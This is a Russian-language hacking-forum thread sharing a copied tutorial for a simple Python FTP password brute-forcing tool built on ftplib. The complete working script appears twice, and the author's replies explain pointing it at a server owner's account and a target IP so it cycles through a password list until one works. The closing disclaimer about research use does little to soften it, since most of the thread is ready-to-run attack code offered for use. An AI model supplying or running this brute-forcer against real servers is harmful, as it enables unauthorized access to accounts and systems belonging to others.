Загрузка...

Простенькая программа для ****форса FTP на Python

Тема в разделе Статьи создана пользователем baronsubbotage 14 янв 2022. (поднята 26 апр 2025) 931 просмотр

Загрузка...
  1. baronsubbotage
    baronsubbotage Автор темы 14 янв 2022 3 5 апр 2021
    Это руководство по ****форсу FTP позволит вам создать свой собственный простой инструмент прямого перебора паролей FTP на языке Python.

    Полный код состоит всего из 20 строк, и инструмент достаточно прост.

    Создайте новый файл Python
    Сначала создайте новый файл Python и сохраните его, это позволит вам быстрее редактировать и перемещаться по этому руководству.

    Импортируйте FTPlib
    FTPlib – это стандартная библиотека, используйте ее.

    Запишите следующий фрагмент кода в свой файл Python.

    from ftplib import FTP

    Список паролей
    Инструмент ****а должен использовать список паролей, ведь мы не хотим вводить пароли один за другим :-).

    Создайте строковое значение, которое позволит вам указать местоположение вашего password_list.

    Затем мы добавим имя пользователя по умолчанию, которое мы собираемся использовать, и нам нужно будет указать целевую строку.

    password_list = "my_password_list.txt"
    username = "anonymous"
    target = "ftp.kakoitosite.ru"

    Цикл.
    Определите процесс, назовем его start, мы должны подготовить список, который будет содержать password_list, и нам нужно написать некоторый код, который загрузит список в созданный нами инструмент ****а FTP на Python.

    Добавьте следующую строку кода:

    def start():
    setx = []
    f = open(password_list)
    setx = f.readlines()

    Продолжаем добавлять цикл и шаги входа в систему:

    for password in setx:
    password = password.strip()
    try:
    ftp = FTP(target)
    ftp.login(user=username, passwd = password)
    print("Success:",str(password))
    break
    except Exception as e:
    print("Fail:",str(e)," [X]-> ",password)

    Запуск.
    Последний шаг, который мы сделаем, – это добавим start() в конец кода Python.

    start()
    Конечный результат:
    from ftplib import FTP
    #options
    password_list = "my_password_list.txt"
    username = "anonymous"
    target = "ftp.kakoitosite.ru"


    def start():
    setx = []
    f = open(password_list)
    setx = f.readlines()
    for password in setx:
    password = password.strip()
    try:
    ftp = FTP(target)
    ftp.login(user=username, passwd = password)
    print("Success:",str(password))
    break
    except Exception as e:
    print("Fail:",str(e)," [X]-> ",password)
    start()


    ¯\_(ツ)_/¯
    Примечание: Информация для исследования,
    обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
    Примечание 2: Статья не самописная, скопировал с другого сайта.
    https://itsecforu.ru <= на этом ресурсе взял статью и там же еще можно найти списки паролей.
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
    14 янв 2022 Изменено
  2. vova2525
    vova2525 14 янв 2022 0 1 сен 2018
    добавь код пж по человечески[IMG]
     
    1. baronsubbotage Автор темы
      vova2525
      Код
      from ftplib import FTP

      # options
      password_list = "passwords.txt"
      username = "anonymous"
      target = "host"


      def start():
      setx = []
      f = open(password_list)
      setx = f.readlines()
      for password in setx:
      password = password.strip()
      try:
      ftp = FTP(target)
      ftp.login(user=username, passwd=password)
      print("Success:", str(password))
      break
      except Exception as e:
      print("Fail:", str(e), " [X]-> ", password)


      start()
  3. AIexa
    AIexa 14 янв 2022 Лучший софт - lolz.live/threads/1634798/ :+rep: 11 518 24 мар 2020
    Ты так симп не нафармишб ни в жизнь, хотя бы тему оформи нормально, блок кода в редакторе есть
     
    1. baronsubbotage Автор темы
      AIexa, емае( спасибо, это моя первая статья, поэтому много ошибок, но в будущем буду писать нужные и актуальные темы, буду работать над этим
  4. YA_RUKOZHOP
    YA_RUKOZHOP 22 янв 2022 0 27 июн 2021
    Для тупого идиота поясни пожалуйста. Он перебирает просто циферки?
     
    1. baronsubbotage Автор темы
      YA_RUKOZHOP
      Смотри, ты в переменную password_list указываешь путь к списку паролей, после этого в переменную user: ник человека, под которым хочешь зайти(например хозяин сервера), потом в переменную target айпи или ссылку на сервер, после чего запускаешь код и он начинает перебирать пароли из указанного спика и не остановиться пока не подберет верный пароль.
Top